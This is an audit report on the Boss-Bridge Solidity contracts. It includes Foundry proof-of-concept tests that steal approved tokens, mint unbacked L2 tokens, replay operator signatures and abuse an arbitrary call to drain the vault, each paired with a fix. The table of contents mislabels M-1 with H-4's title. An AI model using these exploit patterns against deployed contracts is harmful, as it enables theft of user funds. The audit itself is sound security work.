Boss-Bridge Audit Report

Version 1.0

r00tSid.github.io

September 22, 2025

Boss-Bridge Audit Report

r00tSid

September 22, 2025

Prepared by: r00tSid

Lead Auditors: - r00tSid

Table of Contents

    - H-4 `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

- Medium

    - M-1 `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

- Low

    - L-1 Lack of event emission during withdrawals and sending tokens to L1

Protocol Summary

The Boss Bridge is a bridging mechanism to move an ERC20 token (the "Boss Bridge Token" or "BBT") from L1 to an L2 the development team claims to be building. Because the L2 part of the bridge is under construction, it was not included in the reviewed codebase.

The bridge is intended to allow users to deposit tokens, which are to be held in a vault contract on L1. Successful deposits should trigger an event that an off-chain mechanism is in charge of detecting to mint the corresponding tokens on the L2 side of the bridge.

Withdrawals must be approved operators (or "signers"). Essentially they are expected to be one or more off-chain services where users request withdrawals, and that should verify requests before signing the data users must use to withdraw their tokens. It's worth highlighting that there's little-to-no on-chain mechanism to verify withdrawals, other than the operator's signature. So the Boss Bridge heavily relies on having robust, reliable and always available operators to approve withdrawals. Any rogue operator or compromised signing key may put at risk the entire protocol.

Disclaimer

The individual r00tSid made all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Github Link: https://github.com/Cyfrin/7-boss-bridge-audit
- Commit Hash: `07af21653ab3e8a8362bf5f63eb058047f562375`
- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum

Scope

```
#-- src
|   #-- L1BossBridge.sol
|   #-- L1Token.sol
|   #-- L1Vault.sol
|   #-- TokenFactory.sol
```

Roles

- Bridge owner: can pause and unpause withdrawals in the `L1BossBridge` contract. Also, can add and remove operators. Rogue owners or compromised keys may put at risk all bridge funds.
- User: Accounts that hold BBT tokens and use the `L1BossBridge` contract to deposit and withdraw them.
- Operator: Accounts approved by the bridge owner that can sign withdrawal operations. Rogue operators or compromised keys may put at risk all bridge funds.

Executive Summary

There were 101 lines of code to audit in `Boss-Bridge` and i had spent more than 4 hours and found 4 high vulnerabilities, 1 medium vulnerabilities and 1 low vulnerability.

Issues found

Severity	Number Of issues found
High	4
Medium	1
Low	1
Info	0
Total	6

Findings

High:

[H-1] Users who give tokens approvals to `L1BossBridge` may have those assest stolen

Description: The `depositTokensToL2` function allows anyone to call it with a `from` address of any account that has approved tokens to the bridge.

As a consequence, an attacker can move tokens out of any victim account whose token allowance to the bridge is greater than zero. This will move the tokens into the bridge vault, and assign them to the attacker's address in L2 (setting an attacker-controlled address in the `l2Recipient` parameter).

Impact: Users who give tokens approvals to `L1BossBridge` may have those assest stolen.

Proof of Concept: As a PoC, include the following test in the `L1BossBridge.t.sol` file:

```
function testCanMoveApprovedTokensOfOtherUsers() public {
    vm.prank(user);
    token.approve(address(tokenBridge), type(uint256).max);

    uint256 depositAmount = token.balanceOf(user);
    vm.startPrank(attacker);
```

```
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user, attackerInL2, depositAmount);
        tokenBridge.depositTokensToL2(user, attackerInL2, depositAmount);

        assertEq(token.balanceOf(user), 0);
        assertEq(token.balanceOf(address(vault)), depositAmount);
        vm.stopPrank();
    }
```

Recommended Mitigation: Consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

```
- function depositTokensToL2(address from, address l2Recipient, uint256
 ↪  amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount) external
 ↪  whenNotPaused {
      if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
          revert L1BossBridge__DepositLimitReached();
      }
-     token.transferFrom(from, address(vault), amount);
+     token.transferFrom(msg.sender, address(vault), amount);

      // Our off-chain service picks up this event and mints the corresponding
 ↪  tokens on L2
-     emit Deposit(from, l2Recipient, amount);
+     emit Deposit(msg.sender, l2Recipient, amount);
  }
```

[H-2] Calling `depositTokensToL2` from the Vault contract to the Vault contract allows infinite minting of unbacked tokens

Description: `depositTokensToL2` function allows the caller to specify the `from` address, from which tokens are taken.

Because the vault grants infinite approval to the bridge already (as can be seen in the contract's constructor), it's possible for an attacker to call the `depositTokensToL2` function and transfer tokens from the vault to the vault itself. This would allow the attacker to trigger the `Deposit` event any number of times, presumably causing the minting of unbacked tokens in L2.

Additionally, they could mint all the tokens to themselves.

Impact: Infinite minting of unbacked tokens.

Proof of Concept: As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

```
function testCanTransferFromVaultToVault() public {
    vm.startPrank(attacker);

    // assume the vault already holds some tokens
    uint256 vaultBalance = 500 ether;
    deal(address(token), address(vault), vaultBalance);

    // Can trigger the `Deposit` event self-transferring tokens in the vault
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), address(vault), vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), address(vault),
↪   vaultBalance);

    // Any number of times
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), address(vault), vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), address(vault),
↪   vaultBalance);

    vm.stopPrank();
}
```

Recommended Mitigation: consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

[H-3] Lack of replay protection in `withdrawTokensToL1` allows withdrawals by signature to be replayed

Description: Users who want to withdraw tokens from the bridge can call the `sendToL1` function, or the wrapper `withdrawTokensToL1` function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators.

However, the signatures do not include any kind of replay-protection mechanisn (e.g., nonces). Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

Impact: Signature replay leads to `withdrawTokensToL1` allows withdrawals by signature to be replayed

Proof of Concept: As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

```
function testCanReplayWithdrawals() public {
    // Assume the vault already holds some tokens
```

```
    uint256 vaultInitialBalance = 1000e18;
    uint256 attackerInitialBalance = 100e18;
    deal(address(token), address(vault), vaultInitialBalance);
    deal(address(token), address(attacker), attackerInitialBalance);

    // An attacker deposits tokens to L2
    vm.startPrank(attacker);
    token.approve(address(tokenBridge), type(uint256).max);
    tokenBridge.depositTokensToL2(attacker, attackerInL2,
↪   attackerInitialBalance);

    // Operator signs withdrawal.
    (uint8 v, bytes32 r, bytes32 s) =
        _signMessage(_getTokenWithdrawalMessage(attacker,
         ↪  attackerInitialBalance), operator.key);

    // The attacker can reuse the signature and drain the vault.
    while (token.balanceOf(address(vault)) > 0) {
        tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance, v,
↪   r, s);
    }
    assertEq(token.balanceOf(address(attacker)), attackerInitialBalance +
     ↪  vaultInitialBalance);
    assertEq(token.balanceOf(address(vault)), 0);
}
```

Recommended Mitigation: Consider redesigning the withdrawal mechanism so that it includes replay protection.

[H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

Description: The `L1BossBridge` contract includes the `sendToL1` function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the `L1Vault` contract.

The `L1BossBridge` contract owns the `L1Vault` contract. Therefore, an attacker could submit a call that targets the vault and executes is `approveTo` function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it

as a High severity issue because, according to the available documentation, the only validation made by off-chain services is that "the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge". As the next PoC shows, such validation is not enough to prevent the attack.

Impact: The arbitrary call in sendToL1 lets an attacker use an operator-signed message to call L1Vault::approveTo and grant themselves unlimited allowance, enabling a complete drain of vault funds

Proof of Concept: To reproduce, include the following test in the `L1BossBridge.t.sol` file:

```
function testCanCallVaultApproveFromBridgeAndDrainVault() public {
    uint256 vaultInitialBalance = 1000e18;
    deal(address(token), address(vault), vaultInitialBalance);

    // An attacker deposits tokens to L2. We do this under the assumption
     ↪  that the
    // bridge operator needs to see a valid deposit tx to then allow us to
     ↪  request a withdrawal.
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(attacker), address(0), 0);
    tokenBridge.depositTokensToL2(attacker, address(0), 0);

    // Under the assumption that the bridge operator doesn't validate bytes
     ↪  being signed
    bytes memory message = abi.encode(
        address(vault), // target
        0, // value
        abi.encodeCall(L1Vault.approveTo, (address(attacker),
↪   type(uint256).max)) // data
    );
    (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);

    tokenBridge.sendToL1(v, r, s, message);
    assertEq(token.allowance(address(vault), attacker), type(uint256).max);
    token.transferFrom(address(vault), attacker,
↪   token.balanceOf(address(vault)));
}
```

Recommended Mitigation: Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the `L1Vault` contract.

Medium:

[M-1] Withdrawals are prone to unbounded gas consumption due to return bombs.

Description: During withdrawals, the bridge's L1 contract performs a low-level call to an arbitrary target while forwarding all available gas. A malicious contract can exploit this by returning excessively large returndata (a return bomb). Solidity will attempt to copy the entire returndata into memory, incurring very high gas costs. This can cause withdrawals to fail, consume excessive ETH, or even DoS the withdrawal process.

Impact:

- Malicious targets can grief or DoS withdrawals by exhausting gas.
- Users may lose significant ETH to inflated gas fees.
- The bridge may become unreliable or stuck if operators repeatedly face gas bombs when executing withdrawals.

Recommended Mitigation:

- Avoid unbounded returndata copying by using a safe call wrapper (e.g., `ExcessivelySafeCall`) that limits the maximum returndata size copied to memory.
- Explicitly set a reasonable gas stipend for external calls instead of forwarding all gas.
- Discard or cap returndata if it is not required by the withdrawal logic.

Low:

[L-1] Lack of event emission during withdrawals and sending tokens to L1

Description: The `sendToL1` and `withdrawTokensToL1` functions do not emit events when withdrawals occur. Without events, off-chain indexers, monitoring systems, and auditors cannot reliably track withdrawals or detect suspicious activity, reducing system transparency.

Impact:

- Reduced visibility of withdrawal operations for users and monitoring services.
- Makes it harder to audit or detect malicious or unexpected withdrawals in real time.
- Weakens accountability and increases investigation overhead during incidents.

Recommended Mitigation: Add dedicated events (e.g., `WithdrawalSent` and `TokensWithdrawn`) to both `sendToL1` and withdrawTokensToL1', ensuring they are always emitted after successful execution. This will enable effective off-chain monitoring and alerting.